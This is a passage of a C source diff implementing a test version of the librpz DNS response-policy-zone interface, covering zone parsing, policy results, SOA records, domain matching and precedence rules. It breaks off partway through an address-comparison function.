+}
+
+void
+trpz_clist_detach(librpz_clist_t **clistp) {
+	if (clistp != NULL && *clistp != NULL) {
+		librpz_clist_t *clist = *clistp;
+		*clistp = NULL;
+		free(clist);
+	}
+
+	return;
+}
+
+bool
+trpz_connect(librpz_emsg_t *emsg, librpz_client_t *client, bool optional) {
+	UNUSED(optional);
+
+	if (client == NULL) {
+		trpz_pemsg(emsg, "Can't connect to null client");
+		return (false);
+	}
+
+	return (true);
+}
+
+const char *
+trpz_policy2str(librpz_policy_t policy, char *buf, size_t buf_size) {
+	const char *pname = NULL;
+
+	if (buf == NULL || buf_size == 0) {
+		return (NULL);
+	}
+
+	switch (policy) {
+	case LIBRPZ_POLICY_UNDEFINED:
+		pname = "UNDEFINED";
+		break;
+	case LIBRPZ_POLICY_DELETED:
+		pname = "DELETED";
+		break;
+	case LIBRPZ_POLICY_PASSTHRU:
+		pname = "PASSTHRU";
+		break;
+	case LIBRPZ_POLICY_DROP:
+		pname = "DROP";
+		break;
+	case LIBRPZ_POLICY_TCP_ONLY:
+		pname = "TCP-ONLY";
+		break;
+	case LIBRPZ_POLICY_NXDOMAIN:
+		pname = "NXDOMAIN";
+		break;
+	case LIBRPZ_POLICY_NODATA:
+		pname = "NODATA";
+		break;
+	case LIBRPZ_POLICY_RECORD:
+		pname = "RECORD";
+		break;
+	case LIBRPZ_POLICY_GIVEN:
+		pname = "GIVEN";
+		break;
+	case LIBRPZ_POLICY_DISABLED:
+		pname = "DISABLED";
+		break;
+	case LIBRPZ_POLICY_CNAME:
+		pname = "CNAME";
+		break;
+	default:
+		pname = "UNKNOWN";
+		break;
+	}
+
+	strncpy(buf, pname, buf_size);
+	buf[buf_size - 1] = 0;
+	return (buf);
+}
+
+/*
+ * Get the entire set of zones configured by the config string,
+ * and bind then to the specified RSP state.
+ *
+ * The array of active zone indices is returned by the function on success,
+ * or NULL on failure. The total number of zones is stored in pnzones.
+ */
+static ssize_t *
+get_cstr_zones(const char *cstr, trpz_rsp_t *trsp, size_t *pnzones) {
+	char tmpc[8192] = { 0 };
+	char *tptr = tmpc, *tok = NULL;
+	size_t nzones = 0, cur_idx = 0;
+	ssize_t *result = NULL;
+	unsigned long zflags = 0;
+
+	result = calloc(trsp->num_zones + 1, sizeof(*result));
+	if (result == NULL) {
+		perror("calloc");
+		exit(EXIT_FAILURE);
+	}
+
+	if (cstr == NULL) {
+		result[0] = BASE_ZONE_ANY;
+		*pnzones = 1;
+		return (result);
+	}
+
+	strncpy(tmpc, cstr, sizeof(tmpc) - 1);
+	*pnzones = 0;
+
+	while (tptr != NULL && *tptr != '\0') {
+		tok = strsep(&tptr, ";\n");
+
+		while (isspace(*tok)) {
+			tok++;
+		}
+
+		if (strncasecmp(tok, "zone ", 5) == 0) {
+			char zcmd[1024] = { 0 };
+			char *qend = NULL;
+			size_t zind = 0, old_zct = trsp->num_zones;
+			unsigned long zopts = 0;
+
+			tok += 5;
+
+			while (isspace(*tok)) {
+				tok++;
+			}
+
+			if (*tok == '"') {
+				qend = strchr(++tok, '"');
+				if (qend == NULL) {
+					fprintf(stderr, "Error parsing cstr "
+							"contents!\n");
+					free(result);
+					return (NULL);
+				}
+
+				*qend++ = 0;
+
+				if (tok[strlen(tok) - 1] == '.') {
+					tok[strlen(tok) - 1] = 0;
+				}
+
+			} else {
+				qend = tok;
+			}
+
+			while (*qend != '\0' && !isspace(*qend)) {
+				qend++;
+			}
+
+			if (*qend != '\0') {
+				*qend++ = '\0';
+				zopts = parse_zone_options(qend);
+			}
+
+			snprintf(zcmd, sizeof(zcmd) - 1, "zone %s 1", tok);
+
+			if (apply_update(zcmd, &(trsp->all_nodes),
+					 &(trsp->num_nodes), &(trsp->all_zones),
+					 &(trsp->num_zones), 0, zopts,
+					 NULL) < 0)
+			{
+				fprintf(stderr, "Internal error {%s}!\n", zcmd);
+				free(result);
+				return (NULL);
+			}
+
+			if (trsp->num_zones > old_zct) {
+				result = realloc(result,
+						 ((trsp->num_zones + 1) *
+						  sizeof(*result)));
+				if (result == NULL) {
+					perror("realloc");
+					exit(EXIT_FAILURE);
+				}
+			}
+
+			for (zind = 0; zind < trsp->num_zones; zind++) {
+				if (!strcmp(trsp->all_zones[zind].name, tok)) {
+					break;
+				}
+			}
+
+			if (zind == trsp->num_zones) {
+				free(result);
+				return (NULL);
+			}
+
+			result[cur_idx++] = zind;
+			*pnzones = cur_idx;
+			nzones++;
+		} else {
+			unsigned long flags;
+
+			flags = parse_zone_options(tok);
+			zflags |= (flags & (ZOPT_QNAME_AS_NS | ZOPT_IP_AS_NS |
+					    ZOPT_RECURSIVE_ONLY |
+					    ZOPT_NOT_RECURSIVE_ONLY |
+					    ZOPT_NO_QNAME_WAIT_RECURSE |
+					    ZOPT_NO_NSIP_WAIT_RECURSE));
+		}
+
+		tok = NULL;
+	}
+
+	if (nzones == 0) {
+		free(result);
+		return (NULL);
+	}
+
+	if (zflags != 0) {
+		size_t n;
+
+		for (n = 0; n < trsp->num_zones; n++) {
+			if (zflags & ZOPT_QNAME_AS_NS) {
+				trsp->all_zones[n].qname_as_ns = true;
+			}
+
+			if (zflags & ZOPT_IP_AS_NS) {
+				trsp->all_zones[n].ip_as_ns = true;
+			}
+
+			if (zflags & ZOPT_RECURSIVE_ONLY) {
+				trsp->all_zones[n].not_recursive_only = false;
+			} else if (zflags & ZOPT_NOT_RECURSIVE_ONLY) {
+				trsp->all_zones[n].not_recursive_only = true;
+			}
+
+			if (zflags & ZOPT_NO_QNAME_WAIT_RECURSE) {
+				trsp->all_zones[n].no_qname_wait_recurse = true;
+			}
+
+			if (zflags & ZOPT_NO_NSIP_WAIT_RECURSE) {
+				trsp->all_zones[n].no_nsip_wait_recurse = true;
+			}
+		}
+	}
+
+	return (result);
+}
+
+librpz_client_t *
+trpz_client_create(librpz_emsg_t *emsg, librpz_clist_t *clist, const char *cstr,
+		   bool use_expired) {
+	trpz_client_t *result = NULL;
+
+	if (clist == NULL) {
+		trpz_pemsg(emsg, "clist was NULL\n");
+		return (NULL);
+	}
+
+	result = calloc(1, sizeof(*result));
+	if (result == NULL) {
+		trpz_pemsg(emsg, "calloc: %s", strerror(errno));
+		return (NULL);
+	}
+
+	result->cstr = strdup(cstr);
+	if (result->cstr == NULL) {
+		trpz_pemsg(emsg, "strdup: %s", strerror(errno));
+		free(result);
+		return (NULL);
+	}
+
+	result->uses_expired = use_expired;
+	result->pclist = (trpz_clist_t *)clist;
+
+	return ((librpz_client_t *)result);
+}
+
+void
+trpz_client_detach(librpz_client_t **clientp) {
+	if (clientp != NULL && *clientp != NULL) {
+		trpz_client_t *client = (trpz_client_t *)(*clientp);
+		if (client->cstr != NULL) {
+			free(client->cstr);
+		}
+		free(client);
+	}
+
+	return;
+}
+
+/*
+ * If the DNSRPS_TEST_UPDATE_FILE env variable is set,
+ * load the current list of test nodes from the specified data file.
+ *
+ * Any existing nodes are first destroyed.
+ */
+static int
+apply_all_updates(trpz_rsp_t *trsp) {
+	char *updfile = NULL, *fname = NULL, *last = NULL;
+	char *tmp = NULL;
+
+	updfile = getenv("DNSRPS_TEST_UPDATE_FILE");
+	if (updfile == NULL) {
+		return (0);
+	}
+
+	tmp = strdup(updfile);
+	if (tmp == NULL) {
+		return (-1);
+	}
+
+	fname = strtok_r(updfile, ":", &last);
+	while (fname != NULL) {
+		char *errp = NULL;
+		int ret;
+
+		ret = load_all_updates(fname, &trsp->all_nodes,
+				       &trsp->num_nodes, &trsp->all_zones,
+				       &trsp->num_zones, &errp);
+
+		if (errp != NULL) {
+			fprintf(stderr, "Error loading updates: %s\n", errp);
+			free(errp);
+		}
+
+		if (ret < 0) {
+			free(tmp);
+			return (-1);
+		}
+
+		fname = strtok_r(NULL, ":", &last);
+	}
+	free(tmp);
+
+	return (0);
+}
+
+static void
+clear_all_updates(trpz_rsp_t *trsp) {
+	if (trsp == NULL) {
+		return;
+	}
+
+	if (trsp->all_zones != NULL) {
+		free(trsp->all_zones);
+	}
+
+	trsp->all_zones = NULL;
+	trsp->num_zones = 0;
+
+	if (trsp->all_nodes != NULL) {
+		size_t n;
+
+		for (n = 0; n < trsp->num_nodes; n++) {
+			if (trsp->all_nodes[n].canonical != NULL) {
+				free(trsp->all_nodes[n].canonical);
+			}
+			if (trsp->all_nodes[n].dname != NULL) {
+				free(trsp->all_nodes[n].dname);
+			}
+			if (trsp->all_nodes[n].rrs) {
+				size_t m;
+
+				for (m = 0; m < trsp->all_nodes[n].nrrs; m++) {
+					if (trsp->all_nodes[n].rrs[m].rdata) {
+						free(trsp->all_nodes[n]
+							     .rrs[m]
+							     .rdata);
+					}
+				}
+
+				free(trsp->all_nodes[n].rrs);
+			}
+		}
+
+		free(trsp->all_nodes);
+	}
+
+	trsp->all_nodes = NULL;
+	trsp->num_nodes = 0;
+
+	return;
+}
+
+/*
+ * Start a set of RPZ queries for a single DNS response.
+ */
+bool
+trpz_rsp_create(librpz_emsg_t *emsg, librpz_rsp_t **rspp, int *min_ns_dotsp,
+		librpz_client_t *client, bool have_rd, bool have_do) {
+	trpz_client_t *cli = (trpz_client_t *)client;
+	trpz_rsp_t *result = NULL;
+
+	UNUSED(min_ns_dotsp);
+	UNUSED(have_do);
+
+	if (client == NULL) {
+		trpz_pemsg(emsg, "client was NULL");
+		return (false);
+	} else if (rspp == NULL) {
+		trpz_pemsg(emsg, "rspp was NULL");
+		return (false);
+	} else if (cli->cstr == NULL) {
+		trpz_pemsg(emsg, "no valid policy zone specified");
+		return (false);
+	}
+
+	result = calloc(1, sizeof(*result));
+	if (result == NULL) {
+		trpz_pemsg(emsg, "calloc: %s", strerror(errno));
+		return (false);
+	}
+
+	result->idx = 0;
+	result->client = cli;
+	result->have_rd = have_rd;
+	result->stack_idx = 1;
+	result->last_zone = -1;
+
+	assert(*rspp == NULL);
+
+	clear_all_updates(result);
+	result->base_zones = get_cstr_zones(cli->cstr, result,
+					    &(result->nbase_zones));
+
+	if (result->base_zones == NULL) {
+		trpz_pemsg(emsg, "no valid policy zone specified");
+		clear_all_updates(result);
+		free(result);
+		return (false);
+	}
+
+	if (apply_all_updates(result) < 0) {
+		trpz_pemsg(emsg, "internal error loading test data 1");
+		clear_all_updates(result);
+		free(result->base_zones);
+		free(result);
+		return (false);
+	}
+
+	*rspp = (librpz_rsp_t *)result;
+
+	return (true);
+}
+
+bool
+trpz_rsp_push(librpz_emsg_t *emsg, librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+
+	UNUSED(emsg);
+
+	if (trsp->stack_idx == 0) {
+		memset(&(trsp->rstack[0]), 0, sizeof(trsp->rstack[0]) * 2);
+		trsp->stack_idx++;
+		return (true);
+	} else if (trsp->stack_idx >= LIBRPZ_RSP_STACK_DEPTH) {
+		return (false);
+	}
+
+	memmove(&(trsp->rstack[1]), &(trsp->rstack[0]),
+		(trsp->stack_idx * sizeof(trsp->rstack[0])));
+	trsp->stack_idx++;
+
+	return (true);
+}
+
+bool
+trpz_rsp_pop(librpz_emsg_t *emsg, librpz_result_t *result, librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+
+	UNUSED(emsg);
+
+	if (trsp->stack_idx <= 1) {
+		return (false);
+	}
+
+	memmove(&(trsp->rstack[0]), &(trsp->rstack[1]),
+		((trsp->stack_idx - 1) * sizeof(trsp->rstack[0])));
+	memmove(result, &(trsp->rstack[0].result), sizeof(*result));
+	trsp->stack_idx--;
+
+	return (true);
+}
+
+bool
+trpz_rsp_pop_discard(librpz_emsg_t *emsg, librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+
+	UNUSED(emsg);
+
+	if (trsp->stack_idx == 0) {
+		return (false);
+	} else if (trsp->stack_idx == 1) {
+		return (true);
+	}
+
+	if (trsp->stack_idx > 1) {
+		memmove(&(trsp->rstack[1]), &(trsp->rstack[2]),
+			((trsp->stack_idx - 2) * sizeof(trsp->rstack[0])));
+	}
+
+	trsp->stack_idx--;
+
+	return (true);
+}
+
+void
+trpz_rsp_detach(librpz_rsp_t **rspp) {
+	if (rspp != NULL && *rspp != NULL) {
+		trpz_rsp_t *trsp = (trpz_rsp_t *)*rspp;
+		*rspp = NULL;
+		clear_all_updates(trsp);
+		if (trsp->base_zones != NULL) {
+			free(trsp->base_zones);
+		}
+		free(trsp);
+	}
+
+	return;
+}
+
+bool
+trpz_rsp_domain(librpz_emsg_t *emsg, librpz_domain_buf_t *owner,
+		librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	const char *tstr = "";
+	char tmpname[256] = { 0 };
+	size_t osz = 0;
+	uint32_t n;
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL");
+		return (false);
+	} else if (trsp->stack_idx == 0) {
+		trpz_pemsg(emsg, "domain not found [1]");
+		return (false);
+	} else if (trsp->rstack[0].result.policy == LIBRPZ_POLICY_UNDEFINED) {
+		trpz_pemsg(emsg, "domain not found [2]");
+		return (false);
+	}
+
+	if (trsp->all_zones[trsp->rstack[0].result.dznum].forgotten) {
+		trpz_pemsg(emsg, "domain not found [3]");
+		memset(owner, 0, sizeof(*owner));
+		return (true);
+	}
+
+	switch (trsp->rstack[0].result.trig) {
+	case LIBRPZ_TRIG_CLIENT_IP:
+		tstr = "rpz-client-ip.";
+		break;
+	case LIBRPZ_TRIG_IP:
+		tstr = "rpz-ip.";
+		break;
+	case LIBRPZ_TRIG_NSDNAME:
+		tstr = "rpz-nsdname.";
+		break;
+	case LIBRPZ_TRIG_NSIP:
+		tstr = "rpz-nsip.";
+		break;
+	default:
+		break;
+	}
+
+	n = snprintf(tmpname, sizeof(tmpname), "%s.%s%s", trsp->rstack[0].dname,
+		     tstr, trsp->all_zones[trsp->rstack[0].result.dznum].name);
+	if (n > sizeof(tmpname)) {
+		trpz_pemsg(emsg, "%s truncated", tmpname);
+		return (false);
+	}
+
+	if (!domain_pton2(tmpname, owner->d, sizeof(owner->d), &osz, true)) {
+		trpz_pemsg(emsg, "unable to read hostname from rsp!");
+		return (false);
+	}
+
+	owner->size = osz;
+	return (true);
+}
+
+bool
+trpz_rsp_result(librpz_emsg_t *emsg, librpz_result_t *result, bool recursed,
+		const librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+
+	UNUSED(recursed);
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL!");
+		return (false);
+	} else if (result == NULL) {
+		trpz_pemsg(emsg, "result was NULL");
+		return (false);
+	}
+
+	if (trsp->stack_idx == 0) {
+		memset(result, 0, sizeof(*result));
+		result->policy = LIBRPZ_POLICY_UNDEFINED;
+	} else {
+		if (trsp->rstack[0].result.policy && trsp->rstack[0].nrrs &&
+		    (trsp->rstack[0].result.policy != LIBRPZ_POLICY_DISABLED))
+		{
+			trsp->rstack[0].result.next_rr =
+				trsp->rstack[0].rrs[0].rrn;
+		}
+
+		trsp->rstack[0].rridx = 0;
+
+		memmove(result, &(trsp->rstack[0].result), sizeof(*result));
+
+		if (result->policy && trsp->rstack[0].poverride) {
+			result->policy = trsp->rstack[0].poverride;
+		}
+	}
+
+	return (true);
+}
+
+bool
+trpz_rsp_soa(librpz_emsg_t *emsg, uint32_t *ttlp, librpz_rr_t **rrp,
+	     librpz_domain_buf_t *origin, librpz_result_t *result,
+	     librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	librpz_rr_t *rres = NULL;
+	rpz_soa_t tmpsoa;
+	unsigned char *rdbuf = NULL;
+	char tmp_rname[1024] = { 0 };
+	size_t rdlen = 0;
+
+	UNUSED(ttlp);
+
+	if (result == NULL) {
+		trpz_pemsg(emsg, "result was NULL!");
+		return (false);
+	} else if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL!");
+		return (false);
+	}
+
+	if (trsp->zidx >= trsp->num_zones) {
+		trpz_pemsg(emsg, "bad zone");
+		return (false);
+	}
+
+	rdbuf = calloc(1024, 1);
+	if (rdbuf == NULL) {
+		trpz_pemsg(emsg, "calloc: %s", strerror(errno));
+		return (false);
+	}
+
+	rres = (librpz_rr_t *)rdbuf;
+
+	rres->type = htons(6);
+	rres->class = htons(1);
+	rres->ttl = htonl(60);
+
+	memmove(&tmpsoa, &g_soa_record, sizeof(tmpsoa));
+	tmpsoa.serial = trsp->all_zones[result->dznum].serial;
+	tmpsoa.mname = trsp->all_zones[result->dznum].name;
+
+	snprintf(tmp_rname, sizeof(tmp_rname) - 1, "hostmaster.ns.%s",
+		 tmpsoa.mname);
+	tmpsoa.rname = tmp_rname;
+
+	if (tmpsoa.serial == 0) {
+		tmpsoa.serial = time(NULL);
+	}
+
+	if (!pack_soa_record(rres->rdata, 1024 - sizeof(*rres), &rdlen,
+			     &tmpsoa))
+	{
+		trpz_pemsg(emsg, "Error packing SOA reply");
+		free(rdbuf);
+		return (false);
+	}
+
+	rres->rdlength = htons(rdlen);
+
+	if (origin != NULL) {
+		uint8_t *buf = NULL;
+		int nbytes;
+
+		if ((nbytes = wdns_str_to_name(tmpsoa.mname, &buf, 1)) < 0) {
+			trpz_pemsg(emsg, "Error packing domain");
+			free(rdbuf);
+			return (false);
+		}
+
+		memset(origin, 0, sizeof(*origin));
+		memmove(origin->d, buf, nbytes);
+		origin->size = nbytes;
+		free(buf);
+	}
+
+	if (rrp != NULL) {
+		*rrp = rres;
+	} else {
+		free(rdbuf);
+	}
+
+	return (true);
+}
+
+/*
+ * Compare a query domain against a record, allowing for the possibility of
+ * a wildcard match.
+ */
+static int
+domain_cmp(const char *query, const char *record, bool *wildp) {
+	const char *end = NULL;
+	size_t cmplen;
+
+	end = record + strlen(record);
+
+	cmplen = end - record;
+
+	*wildp = false;
+
+	if (record != NULL && *record == '*' && record[1] == '.') {
+		const char *rptr = record + 2;
+
+		if ((cmplen - 2) < strlen(query)) {
+			const char *qptr = NULL;
+
+			qptr = query + strlen(query) - (cmplen - 2);
+
+			if (strncmp(qptr, rptr, (cmplen - 2)) == 0) {
+				*wildp = true;
+				return (0);
+			}
+		}
+	}
+
+	if (strlen(query) > cmplen) {
+		return (1);
+	} else if (strlen(query) < cmplen) {
+		return (-1);
+	}
+
+	return ((strncmp(record, query, cmplen)));
+}
+
+/*
+ * Count the number of labels in the given domain name.
+ */
+static size_t
+count_labels(const char *domain) {
+	const char *dptr = NULL;
+	size_t result = 1;
+
+	if (domain == NULL || *domain == '\0') {
+		return (0);
+	}
+
+	dptr = domain + strlen(domain);
+
+	while (1) {
+		while ((dptr >= domain) && (*dptr != '.')) {
+			dptr--;
+		}
+
+		if (dptr <= domain) {
+			break;
+		}
+
+		result++;
+		dptr--;
+	}
+
+	return (result);
+}
+
+/*
+ * Does the newly found result supercede the old result in precedence?
+ * This function is used to determine whether a match on the result stack
+ * should be overwritten by another match of higher precedence - or whether
+ * the old match should remain, as-is.
+ *
+ * 1. "CNAME or DNAME Chain Position" Precedence Rule
+ * 2. "RPZ Ordering" Precedence Rule [zone order]
+ * 3. "Domain Name Matching" Precedence Rule [QNAME/NSDNAME - label count]
+ * 4. "Trigger Type" Precedence Rule
+ * 5. "Name Order" Precedence Rule [NSDNAME]
+ * 6. "Prefix Length" Precedence Rule
+ * 7. "IP Address Order" Precedence Rule
+ */
+static bool
+result_supercedes(const trpz_result_t *new, const trpz_result_t *old) {
+	size_t nsz, osz;
+
+	if (old == NULL || old->result.policy == 0 || old->dname == NULL ||
+	    old->dname[0] == '\0')
+	{
+		return (true);
+	}
+
+	if (new->result.dznum < old->result.dznum) {
+		return (true);
+	} else if (new->result.dznum > old->result.dznum) {
+		return (false);
+	}
+
+	nsz = count_labels(new->dname);
+	osz = count_labels(old->dname);
+
+	/* More matching labels is better. */
+	if (nsz > osz) {
+		return (true);
+	} else if (nsz < osz) {
+		return (false);
+	}
+
+	if (new->result.trig < old->result.trig) {
+		return (true);
+	} else if (new->result.trig > old->result.trig) {
+		return (false);
+	}
+
+	return (true);
+}
+
+static bool
+result_supercedes_address(const trpz_result_t *new, const trpz_result_t *old) {
+	if (old == NULL || old->result.policy == 0 || old->dname == NULL ||
+	    old->dname[0] == '\0')
+	{
+		return (true);
+	}
+
+	if (new->result.dznum < old->result.dznum) {
+		return (true);
+	} else if (new->result.dznum > old->result.dznum) {
+		return (false);
+	}
+
+	if (new->result.trig < old->result.trig) {
+		return (true);
+	} else if (new->result.trig > old->result.trig) {
+		return (false);
+	}
+
+	if ((new->flags &NODE_FLAG_IPV6_ADDRESS) &&
+	    !(old->flags & NODE_FLAG_IPV6_ADDRESS))
+	{
+		return (true);
+	}
+
+	/*
+	 * XXX: this is broken. Needs proper address comparison. For
+	 * example, by most specific prefix match.
+	 */
+	if (strcmp(old->dname, new->dname) < 0) {
+		return (false);
+	}
+
+	return (true);
+}
+
+bool
+trpz_ck_domain(librpz_emsg_t *emsg, const uint8_t *domain, size_t domain_size,
+	       librpz_trig_t trig, librpz_result_id_t hit_id, bool recursed,
+	       librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	char dname[256] = { 0 };
+	librpz_trig_t toverride = LIBRPZ_TRIG_BAD;
+	ssize_t fidx = -1, nfidx = -1;
+	bool wild;
+	size_t n;
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL!");
+		return (false);
+	} else if (domain == NULL || domain_size == 0) {
+		trpz_pemsg(emsg, "domain was empty");
+		return (false);
+	} else if (trig != LIBRPZ_TRIG_QNAME && trig != LIBRPZ_TRIG_NSDNAME) {
+		trpz_pemsg(emsg, "invalid trigger type");
+		return (false);
+	} else if (!domain_ntop(domain, dname, sizeof(dname))) {
+		trpz_pemsg(emsg, "domain was invalid");
+		return (false);
+	}
+
+	if (trsp->stack_idx == 0) {
+		trsp->stack_idx = 1;
+	}
+
+	for (n = 0; n < trsp->num_nodes; n++) {
+		int pos = 0;
+
+		if (!trsp->have_rd &&
+		    !trsp->all_zones[trsp->all_nodes[n].result.dznum]
+			     .not_recursive_only)
+		{
+			continue;
+		}
+
+		if (pos ||
+		    ((trig == trsp->all_nodes[n].result.trig) &&
+		     (!domain_cmp(dname, trsp->all_nodes[n].dname, &wild))))
+		{
+			if ((trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .no_qname_wait_recurse ||
+			     trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .not_recursive_only ||
+			     recursed) &&
+			    has_base_zone(trsp,
+					  trsp->all_nodes[n].result.dznum) &&
+			    !trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .forgotten)
+			{
+				if (fidx < 0) {
+					fidx = n;
+					toverride = LIBRPZ_TRIG_BAD;
+				}
+			}
+			if (!wild) {
+				break;
+			}
+
+			/*
+			 * Some inelegant special handling for qname_as_ns
+			 * feature.
+			 */
+		} else if (trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				   .qname_as_ns &&
+			   (((trig == LIBRPZ_TRIG_QNAME) &&
+			     (trsp->all_nodes[n].result.trig ==
+			      LIBRPZ_TRIG_NSDNAME)) ||
+			    ((trig == LIBRPZ_TRIG_NSDNAME) &&
+			     (trsp->all_nodes[n].result.trig ==
+			      LIBRPZ_TRIG_QNAME))))
+		{
+			if (!domain_cmp(dname, trsp->all_nodes[n].dname, &wild))
+			{
+				if (recursed &&
+				    has_base_zone(
+					    trsp,
+					    trsp->all_nodes[n].result.dznum) &&
+				    !trsp->all_zones[trsp->all_nodes[n]
+							     .result.dznum]
+					     .forgotten)
+				{
+					if (fidx < 0) {
+						fidx = n;
+						toverride = trig;
+					}
+				}
+				if (!wild) {
+					break;
+				}
+			}
+		}
+	}
+
+	if (!trsp->have_rd && (fidx < 0) && (nfidx < 0)) {
+		goto out;
+	}
+
+	if (recursed && (fidx < 0) && trsp->rstack[0].hidden_policy) {
+		if (trsp->rstack[0].result.trig <= trig) {
+			trsp->rstack[0].result.policy =
+				trsp->rstack[0].hidden_policy;
+			trsp->rstack[0].result.zpolicy =
+				trsp->rstack[0].hidden_policy;
+			trsp->rstack[0].hidden_policy = LIBRPZ_POLICY_UNDEFINED;
+			return (true);
+		}
+	}
+
+	if (fidx >= 0) {
+		bool disabled = false;
+
+		if (!result_supercedes(&(trsp->all_nodes[fidx]),
+				       &(trsp->rstack[0])))
+		{
+			return (true);
+		}
+
+		strncpy(trsp->domain, dname, sizeof(trsp->domain));
+		memmove(&(trsp->rstack[0]), &(trsp->all_nodes[fidx]),
+			sizeof(trsp->rstack[0]));
+		trsp->rstack[0].result.hit_id = hit_id;
+		trsp->last_zone = trsp->rstack[0].result.dznum;
+
+		if (trsp->all_zones[trsp->rstack[0].result.dznum].flags) {
+			unsigned long flags =
+				trsp->all_zones[trsp->rstack[0].result.dznum]
+					.flags;
+			librpz_policy_t force_policy = 0;
+
+			if (flags & ZOPT_POLICY_NODATA) {
+				force_policy = LIBRPZ_POLICY_NODATA;
+			} else if (flags & ZOPT_POLICY_PASSTHRU) {
+				force_policy = LIBRPZ_POLICY_PASSTHRU;
+			} else if (flags & ZOPT_POLICY_NXDOMAIN) {
+				force_policy = LIBRPZ_POLICY_NXDOMAIN;
+			} else if (flags & ZOPT_POLICY_DROP) {
+				force_policy = LIBRPZ_POLICY_DROP;
+			} else if (flags & ZOPT_POLICY_TCP_ONLY) {
+				force_policy = LIBRPZ_POLICY_TCP_ONLY;
+			} else if (flags & ZOPT_POLICY_DISABLED) {
+				disabled = true;
+			}
+
+			if (force_policy) {
+				trsp->rstack[0].result.policy = force_policy;
+				trsp->rstack[0].result.zpolicy = force_policy;
+				trsp->rstack[0].poverride = force_policy;
+			}
+		}
+
+		if (toverride) {
+			trsp->rstack[0].result.trig = toverride;
+		}
+
+		if (disabled) {
+			trsp->rstack[0].poverride = LIBRPZ_POLICY_DISABLED;
+		} else if (!recursed) {
+			ssize_t m;
+
+			/*
+			 * If recursed is not set, then an earlier zone of
+			 * higher precedence may not contain a rule of
+			 * trigger types rpz-ip, rpz-nsip, or rpz-nsdname -
+			 * which are by nature post-recursion rules.
+			 */
+			for (m = trsp->all_nodes[fidx].result.dznum - 1; m >= 0;
+			     m--)
+			{
+				if (trsp->all_zones[m]
+					    .has_triggers[0][LIBRPZ_TRIG_IP] ||
+				    trsp->all_zones[m]
+					    .has_triggers[1][LIBRPZ_TRIG_IP] ||
+				    trsp->all_zones[m]
+					    .has_triggers[0][LIBRPZ_TRIG_NSIP] ||
+				    trsp->all_zones[m]
+					    .has_triggers[1][LIBRPZ_TRIG_NSIP] ||
+				    trsp->all_zones[m]
+					    .has_triggers[0]
+							 [LIBRPZ_TRIG_NSDNAME])
+				{
+					trsp->rstack[0].result.policy =
+						LIBRPZ_POLICY_UNDEFINED;
+					break;
+				}
+			}
+		}
+
+		return (true);
+	} else if (nfidx >= 0) {
+		strncpy(trsp->domain, dname, sizeof(trsp->domain));
+		memmove(&(trsp->rstack[0]), &(trsp->all_nodes[nfidx]),
+			sizeof(trsp->rstack[0]));
+		trsp->last_zone = trsp->all_nodes[nfidx].result.dznum;
+		trsp->rstack[0].hidden_policy = trsp->rstack[0].result.policy;
+		trsp->rstack[0].result.hit_id = hit_id;
+		trsp->rstack[0].result.policy = LIBRPZ_POLICY_UNDEFINED;
+		trsp->rstack[0].result.zpolicy = LIBRPZ_POLICY_UNDEFINED;
+		return (true);
+	}
+
+out:
+	if (trsp->rstack[0].result.policy == LIBRPZ_POLICY_UNDEFINED) {
+		memset(&(trsp->rstack[0]), 0, sizeof(trsp->rstack[0]));
+	}
+
+	return (true);
+}
+
+static void
+rpzify_ipv6_str(char *buf) {
+	char tmpb[512] = { 0 }, *tptr = NULL;
+
+	strncpy(tmpb, buf, sizeof(tmpb) - 1);
+	memset(buf, 0, strlen(buf));
+	tptr = tmpb + strlen(tmpb);
+
+	strcat(buf, "128.");
+
+	while (tptr > tmpb) {
+		if (*tptr == ':') {
+			strcat(buf, tptr + 1);
+			strcat(buf, ".");
+		}
+
+		tptr--;
+
+		if ((*tptr == ':') && (tptr[0] == tptr[1])) {
+			strcat(buf, "zz");
+		}
+
+		if (tptr[1] == ':') {
+			tptr[1] = 0;
+		}
+	}
+
+	strcat(buf, tptr);
+
+	return;
+}
+
+static uint32_t
+get_mask(unsigned char prefix) {
+	uint32_t result = 0;
+	unsigned char n;
+
+	if (prefix == 0) {
+		return (0);
+	} else if (prefix >= 32) {
+		return (~(0));
+	}
+
+	for (n = 1; n < prefix; n++) {
+		result |= (1 << n);
+	}
+
+	return (result);
+}
+
+/* XXX: this is broken for handling subnet masks in IPv6. */
+static int
+address_cmp(const char *addrstr, const void *addr, uint family,
+	    unsigned int *pmask) {
+	char abuf[256] = { 0 };
+	int ipstr[8] = { 0 };
+	unsigned int nmask = 32;
+
+	if (family == AF_INET6) {
+		if (inet_ntop(AF_INET6, addr, abuf, sizeof(abuf)) == 0) {
+			return (-1);
+		}
+
+		rpzify_ipv6_str(abuf);
+	} else if (family == AF_INET) {
+		char newstr[32] = { 0 };
+		in_addr_t a1, a2;
+
+		if (sscanf(addrstr, "%d.%d.%d.%d.%d", &ipstr[0], &ipstr[1],
+			   &ipstr[2], &ipstr[3], &ipstr[4]) == 5)
+		{
+			nmask = ipstr[0];
+			if (nmask > 32) {
+				return (-1);
+			}
+		} else if (sscanf(addrstr, "%d.%d.%d.%d", &ipstr[1], &ipstr[2],
+				  &ipstr[3], &ipstr[4]) != 4)
+		{
+			perror("bad address format");
+			return (-1);
+		}
+
+		if (ipstr[1] > 255 || ipstr[2] > 255 || ipstr[3] > 255 ||
+		    ipstr[4] > 255 || ipstr[1] < 0 || ipstr[2] < 0 ||
